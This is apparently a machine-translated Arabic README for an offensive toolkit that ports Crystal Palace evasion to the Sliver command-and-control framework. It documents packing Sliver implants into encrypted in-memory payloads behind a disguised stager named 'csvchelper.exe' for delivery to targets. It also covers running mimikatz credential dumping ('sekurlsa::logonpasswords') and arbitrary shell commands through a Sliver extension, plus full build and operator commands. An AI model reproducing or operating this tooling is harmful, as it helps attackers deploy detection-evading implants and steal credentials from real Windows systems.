طقم التهرب Crystal Palace لـ Sliver
مجموعة أدوات التهرب من Crystal Palace المنقولة إلى Sliver C2.
هذا هو أول نقل عام لـ Crystal-Kit (Cobalt Strike) الخاص بـ rasta-mouse إلى Sliver. ويتبع نفس نمط C2 المشترك الذي أثبتته Crystal-Kit-Xenon (Mythic).
يستبدل المحمل الانعكاسي الافتراضي لـ Sliver ومسار التنفيذ بعد الاستغلال بـ Crystal Palace (رافائيل مودج، BSD). والنتيجة هي كتلة من كود مستقل عن الموقع (PICO) تجمع:
LoadLibrary / GetProcAddress)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryAيتم إخفاء DLL زرع Sliver (أو أي DLL بعد الاستغلال) بواسطة XOR داخل PICO ولا يتم إظهاره إلا في الذاكرة وقت التنفيذ.
لا يتم تنفيذ DLL زرع Sliver الخام مباشرة على الهدف. بدلاً من ذلك، يتم تغليفه بـ Crystal Palace في PICO، وتشفيره بـ AES-256-CBC، وتقديمه مع مُنظّم مخصص (~17 كيلوبايت) يقوم بفك تشفيره وتنفيذه في الذاكرة.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
بمجرد أن تصبح الجلسة نشطة، قم بتشغيل DLLs الحساسة (استطلاع، منتزعات بيانات الاعتماد، إلخ) من خلال Crystal Palace عبر إضافة Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
مرر وسيطات وقت التشغيل دون إعادة بناء بإلحاقها بعد |:
sliver > crystal --payload C:/path/file.pico.bin|args here
إن crystal-loader.x64.dll هي إضافة DLL لـ Sliver تقرأ كتلة PICO من القرص في منطقة VirtualAlloc(RW)، وتحولها إلى RX بـ VirtualProtect، وتقفز إلى نقطة الدخول Crystal Palace. لا يتم الاحتفاظ بأي تعيين PAGE_EXECUTE_READWRITE. تستخدم المسارات شرطات مائلة للأمام. تنسيق الوسيطة هو type:string (وليس ثنائي BOF). يتم تحميل DLL في الذاكرة بواسطة Sliver — لا يتم كتابته كملف على قرص الهدف.
crystal-exec هو أمر ثانٍ مضمن في نفس الإضافة. يقوم بتشغيل أوامر الصدفة التعسفية من خلال تهرب Crystal Palace باستخدام PICO مضمن مباشرة في DLL الإضافة — لا حاجة لرفع ملف PICO.
sliver > crystal-exec --cmd "whoami /all"
يتم إرجاع المخرجات إلى المشغل عبر جلسة Sliver الحالية عبر أنبوب. هذا هو أسرع مسار لأوامر الصدفة الفردية عندما لا تحتاج إلى DLL كامل بعد الاستغلال.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
انظر docs/RUNBOOK.md للإجراء الكامل للمشغل (تثبيت Sliver، إعداد المستمع، تنفيذ الهدف، استكشاف الأخطاء).